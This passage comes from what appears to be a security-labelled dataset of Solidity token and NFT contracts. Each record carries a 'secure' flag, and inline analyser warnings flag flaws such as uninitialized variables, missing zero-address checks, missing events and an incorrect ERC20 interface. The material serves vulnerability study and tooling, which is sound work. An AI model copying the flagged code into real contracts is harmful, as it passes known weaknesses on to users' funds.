for (uint8 k = 0; k < 12; k++) {\n uint16 placeFrame = place;\n uint8 colorFrame = color;\n\n if (movement == 0) {} else if (movement == 1) {\n placeFrame = (place + k) % 625;\n } else if (movement == 2) {\n colorFrame = color + (k % 3);\n } else if (movement == 3) {\n colorFrame = (color - 1) + ((k + 1) % 3);\n } else if (movement == 4) {\n colorFrame = (color - 2) + ((k + 2) % 3);\n } else if (movement == 5) {\n placeFrame = placeFrame + ((k / 4) % 2);\n } else if (movement == 6) {\n if (0 >= k || k >= 11) {\n continue;\n }\n } else if (movement == 7) {\n if (1 >= k || k >= 10) {\n continue;\n }\n } else if (movement == 8) {\n if (2 >= k || k >= 9) {\n continue;\n }\n } else if (movement == 9) {\n if (3 >= k || k >= 8) {\n continue;\n }\n } else if (movement == 10) {\n if (4 >= k || k >= 7) {\n continue;\n }\n } else if (movement == 11) {\n if (k > 5) {\n placeFrame = place - 25;\n }\n } else if (movement == 12) {\n if (k == 3 || k == 5) {\n placeFrame = place - 25;\n }\n } else if (movement == 13) {\n if ((k / 3) % 2 == 0) {\n continue;\n }\n } else if (movement == 14) {\n if ((k / 3) % 2 != 0) {\n continue;\n }\n } else if (movement == 15) {\n\t\t\t\t\t\t\t// divide-before-multiply | ID: 10b2878\n placeFrame = place + (k / 2) * 25;\n } else if (movement == 16) {\n if (k % 2 != 0) {\n continue;\n }\n } else if (movement == 17) {\n\t\t\t\t\t\t\t// divide-before-multiply | ID: b742fe8\n placeFrame = place + (k / 2) * 26;\n if (placeFrame >= 625) {\n continue;\n }\n } else if (movement == 18) {\n if ((k / 2) == 2 || (k / 2) == 4) {\n placeFrame = place - 25;\n }\n } else if (movement == 19) {\n if ((k / 2) % 2 == 1) {\n placeFrame = place - 1;\n }\n } else if (movement == 20) {\n placeFrame = place + (((k + 3) / 2) % 2);\n } else if (movement == 21) {\n if (k < 6) {\n placeFrame = place + k;\n } else {\n placeFrame = place + (12 - k);\n }\n if (placeFrame > 37) continue;\n colorFrame = color + k / 6;\n } else if (movement == 22) {\n if (k < 6) {\n if (placeFrame > 42 - k) continue;\n } else {\n if (placeFrame > 42 - (12 - k)) continue;\n }\n colorFrame = color - k / 6;\n } else if (movement == 23) {\n if (k % 2 == 0) {\n if (k % 4 == 0) {\n placeFrame = place + 1;\n } else {\n placeFrame = place - 1;\n }\n }\n } else if (movement == 24) {\n placeFrame = placeFrame - ((k / 4) % 2);\n } else if (movement == 24) {\n placeFrame = placeFrame + ((k / 3) % 2);\n }\n\n if (placedPixels[k][placeFrame]) continue;\n\n colorBytes[k][placeFrame] = abi.encodePacked(\n colorFrame\n )[0];\n placedPixels[k][placeFrame] = true;\n }\n place += 1;\n }\n }\n }\n\n bytes\n memory gifHex = \"\\x47\\x49\\x46\\x38\\x39\\x61\\x64\\x00\\x64\\x00\\xF5\\x02\\x00\\x00\\x00\\x00\\xF6\\x43\\x7F\\x43\\xF6\\xEE\\x5D\\xF6\\x43\\x4A\\xC7\\x35\\xFF\\xD7\\x00\\xFE\\xE2\\x4D\\xFE\\xDC\\x25\\xC0\\xC0\\xC0\\xD0\\xD0\\xD0\\xDF\\xDF\\xDF\\x00\\x00\\x00\\x00\\x3A\\x04\\x00\\x49\\x05\\x00\\x5E\\x07\\x27\\x07\\x3E\\x2E\\xBD\\xB7\\x31\\x25\\x06\\x3A\\x05\\x05\\x3D\\x0B\\x60\\x46\\x16\\x70\\x48\\x27\\x60\\x52\\x48\\x2D\\x52\\x4B\\x35\\x5A\\x44\\x0A\\x5C\\x1E\\x92\\x63\\x59\\x3D\\x67\\x59\\x37\\x6B\\x20\\xAC\\x6B\\x61\\x44\\x6D\\x15\\x15\\x6D\\x5D\\x34\\x6D\\x6D\\x6D\\x80\\x6B\\x34\\x82\\x80\\x79\\x8B\\x69\\x11\\x8D\\x7E\\x57\\x92\\x47\\x47\\x9A\\x4E\\x6E\\xA9\\xA9\\xA9\\xB1\\x9D\\x68\\xBD\\xAB\\x79\\xC5\\x9F\\x9F\\xCA\\xD4\\x38\\xCC\\x73\\x20\\xDD\\x7B\\x1F\\xE5\\xBC\\xBC\\xE7\\xE7\\xE7\\xEB\\xF6\\x43\\xEF\\x79\\xAB\\xF0\\xD9\\xE3\\xFF\\x00\\x00\\xFF\\xF9\\xF9\\xFF\\xFF\\x00\\xFF\\xFF\\xFF\\x08\\x26\\x42\\x11\\x37\\x5C\\x22\\x53\\x81\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x21\\xFF\\x0B\\x4E\\x45\\x54\\x53\\x43\\x41\\x50\\x45\\x32\\x2E\\x30\\x03\\x01\\x00\\x00\\x00\";\n\n for (uint256 i = 0; i < 12; i++) {\n gifHex = abi.encodePacked(gifHex, hexByColors(colorBytes[i]));\n }\n\n gifHex = abi.encodePacked(gifHex, \"\\x3B\");\n return CatLib.encode(gifHex);\n }\n\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: b81554f): CatsOnChain.hexByColors(bytes).returnHex is a local variable never initialized\n\t// Recommendation for b81554f: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function hexByColors(\n bytes memory colorBytes\n ) public pure returns (bytes memory) {\n bytes memory returnHex;\n bytes memory tempBytes;\n\n for (uint256 i = 0; i < colorBytes.length / 25; i++) {\n tempBytes = hexgetLine(colorBytes, i * 25);\n\n for (uint256 j = 0; j < 4; j++) {\n returnHex = abi.encodePacked(returnHex, tempBytes);\n }\n }\n\n returnHex = abi.encodePacked(\n \"\\x21\\xF9\\x04\\x09\\x11\\x00\\x00\\x00\\x2C\\x00\\x00\\x00\\x00\\x64\\x00\\x64\\x00\\x00\\x07\",\n returnHex,\n \"\\x01\\x81\\x00\"\n );\n return returnHex;\n }\n\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: c6c81b1): CatsOnChain.hexgetLine(bytes,uint256).returnHex is a local variable never initialized\n\t// Recommendation for c6c81b1: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function hexgetLine(\n bytes memory colorBytes,\n uint256 startindex\n ) public pure returns (bytes memory) {\n bytes memory returnHex;\n\n for (uint256 i = startindex; i < startindex + 25; i++) {\n bytes1 tempByte = colorBytes[i];\n for (uint256 j = 0; j < 4; j++) {\n returnHex = abi.encodePacked(returnHex, tempByte);\n }\n }\n\n return abi.encodePacked(\"\\x65\\x80\", returnHex);\n }\n\n function hashToMetadata(\n string memory _hash\n ) public view returns (string memory) {\n string memory metadataString;\n\n for (uint8 i = 0; i < 7; i++) {\n uint8 thisTraitIndex = CatLib.parseInt(\n CatLib.substring(_hash, i, i + 1)\n );\n\n metadataString = string(\n abi.encodePacked(\n metadataString,\n \"{'trait_type':'\",\n traitTypes[i][thisTraitIndex].traitType,\n \"','value':'\",\n traitTypes[i][thisTraitIndex].traitName,\n \"'}\"\n )\n );\n\n if (i < 6)\n metadataString = string(abi.encodePacked(metadataString, \",\"));\n }\n\n return string(abi.encodePacked(\"[\", metadataString, \"]\"));\n }\n\n function _tokenIdToHash(\n uint256 _tokenId\n ) public view returns (string memory) {\n string memory tokenHash = tokenIdToHash[_tokenId];\n return tokenHash;\n }\n\n modifier onlyOwner() {\n require(_owner == msg.sender);\n _;\n }\n\n function clearTraits() public onlyOwner {\n for (uint256 i = 0; i < 7; i++) {\n delete traitTypes[i];\n }\n }\n\n function addTraitType(\n uint256 _traitTypeIndex,\n Trait[] memory traits\n ) public onlyOwner {\n for (uint256 i = 0; i < traits.length; i++) {\n traitTypes[_traitTypeIndex].push(\n Trait(\n traits[i].traitName,\n traits[i].traitType,\n traits[i].pixels\n )\n );\n }\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 4f934c1): CatsOnChain.transferOwnership(address)._newOwner lacks a zerocheck on \t _owner = _newOwner\n\t// Recommendation for 4f934c1: Check that the address is not zero.\n\t// WARNING Vulnerability (events-access | severity: Low | ID: 652b92b): CatsOnChain.transferOwnership(address) should emit an event for _owner = _newOwner \n\t// Recommendation for 652b92b: Emit an event for critical parameter changes.\n function transferOwnership(address _newOwner) public onlyOwner {\n\t\t// missing-zero-check | ID: 4f934c1\n\t\t// events-access | ID: 652b92b\n _owner = _newOwner;\n }\n\n function withdraw() public onlyOwner {\n uint256 balance = address(this).balance;\n require(balance > 0, \"Balance is zero\");\n payable(msg.sender).transfer(balance);\n }\n\n function mintCatOwner() public onlyOwner {\n mintCat();\n }\n}", "file_name": "solidity_code_2603.sol", "secure": 0, "size_bytes": 19188 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"@openzeppelin/contracts/utils/Pausable.sol\" as Pausable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract BCAT is ERC20Burnable, Pausable, Ownable {\n using SafeMath for uint256;\n\n mapping(address => bool) minterRole;\n\n constructor() ERC20(\"Blockchain art token\", \"BCAT\") {\n _mint(msg.sender, 134217728 * 10 ** decimals());\n }\n\n function mint(\n address _to,\n uint256 _amount\n ) public onlyMinter returns (bool) {\n _mint(_to, _amount);\n return true;\n }\n\n function addMinter(address _minter) public onlyOwner returns (bool) {\n minterRole[_minter] = true;\n return true;\n }\n\n function removeMinter(address _minter) public onlyOwner returns (bool) {\n minterRole[_minter] = false;\n return true;\n }\n\n modifier onlyMinter() {\n require(minterRole[_msgSender()], \"Is not the minter!\");\n _;\n }\n\n function pause() public onlyOwner {\n _pause();\n }\n\n function unpause() public onlyOwner {\n _unpause();\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal override whenNotPaused {\n super._beforeTokenTransfer(from, to, amount);\n }\n}", "file_name": "solidity_code_2604.sol", "secure": 1, "size_bytes": 1609 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract Token is ERC20 {\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: a19c0f7): Token._totalSupply should be immutable \n\t// Recommendation for a19c0f7: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\t// WARNING Optimization Issue (immutable-states | ID: 38489ce): Token._decimals should be immutable \n\t// Recommendation for 38489ce: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n string private _name;\n string private _symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 03c8222): Token._owner should be immutable \n\t// Recommendation for 03c8222: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _owner;\n\n constructor() {\n _symbol = \"NEXT\";\n _name = \"NEXT Exchange Governance Token\";\n _decimals = 6;\n _totalSupply = 10000000000000;\n _owner = payable(msg.sender);\n _balances[_owner] = _totalSupply;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(msg.sender, recipient, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(msg.sender, spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][msg.sender];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n unchecked {\n _approve(sender, msg.sender, currentAllowance - amount);\n }\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n}", "file_name": "solidity_code_2605.sol", "secure": 1, "size_bytes": 4163 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nabstract contract IContract {\n function balanceOf(address owner) external virtual returns (uint256);\n\n\t// WARNING Vulnerability (erc20-interface | severity: Medium | ID: 743d574): IContract has incorrect ERC20 function interfaceIContract.transfer(address,uint256)\n\t// Recommendation for 743d574: Set the appropriate return values and types for the defined 'ERC20' functions.\n function transfer(address to, uint256 value) external virtual;\n}", "file_name": "solidity_code_2606.sol", "secure": 0, "size_bytes": 514 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./IContract.sol\" as IContract;\n\ncontract UniqToken {\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n mapping(address => uint256) private balances;\n mapping(address => mapping(address => uint256)) private allowed;\n uint256 public totalSupply;\n address public owner;\n address constant ZERO = address(0);\n\n modifier notZeroAddress(address a) {\n require(a != ZERO, \"Address 0x0 not allowed\");\n _;\n }\n\n string public constant name = \"Uniqly\"; // Token name\n string public constant symbol = \"UNIQ\"; // Token symbol\n uint8 public constant decimals = 18;\n\n constructor(uint256 _initialAmount) {\n balances[msg.sender] = _initialAmount;\n totalSupply = _initialAmount;\n owner = msg.sender;\n emit Transfer(ZERO, msg.sender, _initialAmount);\n }\n\n function transfer(\n address _to,\n uint256 _value\n ) external notZeroAddress(_to) returns (bool) {\n require(\n balances[msg.sender] >= _value,\n \"ERC20 transfer: token balance too low\"\n );\n balances[msg.sender] -= _value;\n balances[_to] += _value;\n emit Transfer(msg.sender, _to, _value);\n return true;\n }\n\n function transferFrom(\n address _from,\n address _to,\n uint256 _value\n ) external notZeroAddress(_to) returns (bool) {\n uint256 _allowance = allowed[_from][msg.sender];\n require(\n balances[_from] >= _value && _allowance >= _value,\n \"ERC20 transferFrom: token balance or allowance too low\"\n );\n balances[_from] -= _value;\n if (_allowance < (2 ** 256 - 1)) {\n _approve(_from, msg.sender, _allowance - _value);\n }\n balances[_to] += _value;\n emit Transfer(_from, _to, _value);\n return true;\n }\n\n function balanceOf(address _owner) external view returns (uint256) {\n return balances[_owner];\n }\n\n function approve(\n address _spender,\n uint256 _value\n ) external notZeroAddress(_spender) returns (bool) {\n _approve(msg.sender, _spender, _value);\n return true;\n }\n\n function _approve(\n address _owner,\n address _spender,\n uint256 _amount\n ) internal {\n allowed[_owner][_spender] = _amount;\n emit Approval(_owner, _spender, _amount);\n }\n\n function allowance(\n address _owner,\n address _spender\n ) external view returns (uint256) {\n return allowed[_owner][_spender];\n }\n\n function burn(uint256 amount) external {\n _burn(msg.sender, amount);\n }\n\n function burnFrom(address account, uint256 amount) external {\n uint256 currentAllowance = allowed[account][msg.sender];\n require(\n currentAllowance >= amount,\n \"ERC20: burn amount exceeds allowance\"\n );\n _approve(account, msg.sender, currentAllowance - amount);\n _burn(account, amount);\n }\n\n function _burn(\n address account,\n uint256 amount\n ) internal notZeroAddress(account) {\n require(\n balances[account] >= amount,\n \"ERC20: burn amount exceeds balance\"\n );\n balances[account] -= amount;\n totalSupply -= amount;\n\n emit Transfer(account, ZERO, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == owner, \"Only for Owner\");\n _;\n }\n\n address public newOwner;\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 3896650): UniqToken.giveOwnership(address)._newOwner lacks a zerocheck on \t newOwner = _newOwner\n\t// Recommendation for 3896650: Check that the address is not zero.\n function giveOwnership(address _newOwner) external onlyOwner {\n\t\t// missing-zero-check | ID: 3896650\n newOwner = _newOwner;\n }\n\n\t// WARNING Vulnerability (events-access | severity: Low | ID: 426a2ce): UniqToken.acceptOwnership() should emit an event for owner = msg.sender \n\t// Recommendation for 426a2ce: Emit an event for critical parameter changes.\n function acceptOwnership() external {\n require(msg.sender == newOwner, \"You are not New Owner\");\n newOwner = address(0);\n\t\t// events-access | ID: 426a2ce\n owner = msg.sender;\n }\n\n function rescueERC20(address _token) external onlyOwner {\n uint256 amt = IContract(_token).balanceOf(address(this));\n require(amt > 0, \"Nothing to rescue\");\n IContract(_token).transfer(owner, amt);\n }\n\n function rescueETH() external onlyOwner {\n payable(owner).transfer(address(this).balance);\n }\n}", "file_name": "solidity_code_2607.sol", "secure": 0, "size_bytes": 4952 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract BlankToken is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n\t// WARNING Optimization Issue (constable-states | ID: c96a0a8): BlankToken._name should be constant \n\t// Recommendation for c96a0a8: Add the 'constant' attribute to state variables that never change.\n string private _name = \"Blank Token\";\n\t// WARNING Optimization Issue (constable-states | ID: 8ce85af): BlankToken._symbol should be constant \n\t// Recommendation for 8ce85af: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"BLANK\";\n\n constructor(uint256 totalSupply_) {\n _totalSupply = totalSupply_;\n _balances[_msgSender()] = _totalSupply;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function burn(uint256 amount) public virtual {\n _burn(_msgSender(), amount);\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[sender] = senderBalance - amount;\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n _balances[account] = accountBalance - amount;\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n}", "file_name": "solidity_code_2608.sol", "secure": 1, "size_bytes": 4983 }
{ "code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract BlackRocToken is ERC20 {\n constructor(uint256 initialSupply) ERC20(\"Black Rock\", \"BLROCK\") {\n _mint(msg.sender, initialSupply);\n }\n}", "file_name": "solidity_code_2609.sol", "secure": 1, "size_bytes": 295 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract DOGE is ERC20, Ownable {\n constructor()\n ERC20(\"TrumpElonVitalikAtsukoSatoMagaINU0X112DOGE420\", \"DOGE\")\n {\n _mint(msg.sender, 1000000 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_261.sol", "secure": 1, "size_bytes": 392 }
{ "code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\n\ncontract ItachiUchiha is Context, IERC20, Ownable {\n using SafeMath for uint256;\n using Address for address;\n\n mapping(address => uint256) private _rOwned;\n mapping(address => uint256) private _tOwned;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcluded;\n address[] private _excluded;\n\n uint256 private constant MAX = ~uint256(0);\n uint256 private constant _tTotal = 100000000 * 10 ** 6 * 10 ** 18;\n uint256 private _rTotal = (MAX - (MAX % _tTotal));\n uint256 private _tFeeTotal;\n\n\t// WARNING Optimization Issue (constable-states | ID: ff7be63): ItachiUchiha._name should be constant \n\t// Recommendation for ff7be63: Add the 'constant' attribute to state variables that never change.\n string private _name = \"Itachi Uchiha\";\n\t// WARNING Optimization Issue (constable-states | ID: 5b926fc): ItachiUchiha._symbol should be constant \n\t// Recommendation for 5b926fc: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"ITACHI\";\n\t// WARNING Optimization Issue (constable-states | ID: 3a1bf35): ItachiUchiha._decimals should be constant \n\t// Recommendation for 3a1bf35: Add the 'constant' attribute to state variables that never change.\n uint8 private _decimals = 18;\n\n constructor() public {\n _rOwned[_msgSender()] = _rTotal;\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n if (_isExcluded[account]) return _tOwned[account];\n return tokenFromReflection(_rOwned[account]);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: db6fea3): ItachiUchiha.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for db6fea3: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].add(addedValue)\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].sub(\n subtractedValue,\n \"ERC20: decreased allowance below zero\"\n )\n );\n return true;\n }\n\n function isExcluded(address account) public view returns (bool) {\n return _isExcluded[account];\n }\n\n function totalFees() public view returns (uint256) {\n return _tFeeTotal;\n }\n\n function reflect(uint256 tAmount) public {\n address sender = _msgSender();\n require(\n !_isExcluded[sender],\n \"Excluded addresses cannot call this function\"\n );\n (uint256 rAmount, , , , ) = _getValues(tAmount);\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n _rTotal = _rTotal.sub(rAmount);\n _tFeeTotal = _tFeeTotal.add(tAmount);\n }\n\n function reflectionFromToken(\n uint256 tAmount,\n bool deductTransferFee\n ) public view returns (uint256) {\n require(tAmount <= _tTotal, \"Amount must be less than supply\");\n if (!deductTransferFee) {\n (uint256 rAmount, , , , ) = _getValues(tAmount);\n return rAmount;\n } else {\n (, uint256 rTransferAmount, , , ) = _getValues(tAmount);\n return rTransferAmount;\n }\n }\n\n function tokenFromReflection(\n uint256 rAmount\n ) public view returns (uint256) {\n require(\n rAmount <= _rTotal,\n \"Amount must be less than total reflections\"\n );\n uint256 currentRate = _getRate();\n return rAmount.div(currentRate);\n }\n\n function excludeAccount(address account) external onlyOwner {\n require(!_isExcluded[account], \"Account is already excluded\");\n if (_rOwned[account] > 0) {\n _tOwned[account] = tokenFromReflection(_rOwned[account]);\n }\n _isExcluded[account] = true;\n _excluded.push(account);\n }\n\n function includeAccount(address account) external onlyOwner {\n require(_isExcluded[account], \"Account is already excluded\");\n for (uint256 i = 0; i < _excluded.length; i++) {\n if (_excluded[i] == account) {\n _excluded[i] = _excluded[_excluded.length - 1];\n _tOwned[account] = 0;\n _isExcluded[account] = false;\n _excluded.pop();\n break;\n }\n }\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: dd430ad): ItachiUchiha._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for dd430ad: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) private {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n if (_isExcluded[sender] && !_isExcluded[recipient]) {\n _transferFromExcluded(sender, recipient, amount);\n } else if (!_isExcluded[sender] && _isExcluded[recipient]) {\n _transferToExcluded(sender, recipient, amount);\n } else if (!_isExcluded[sender] && !_isExcluded[recipient]) {\n _transferStandard(sender, recipient, amount);\n } else if (_isExcluded[sender] && _isExcluded[recipient]) {\n _transferBothExcluded(sender, recipient, amount);\n } else {\n _transferStandard(sender, recipient, amount);\n }\n }\n\n function _transferStandard(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee\n ) = _getValues(tAmount);\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _reflectFee(rFee, tFee);\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _transferToExcluded(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee\n ) = _getValues(tAmount);\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _reflectFee(rFee, tFee);\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _transferFromExcluded(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee\n ) = _getValues(tAmount);\n _tOwned[sender] = _tOwned[sender].sub(tAmount);\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _reflectFee(rFee, tFee);\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _transferBothExcluded(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 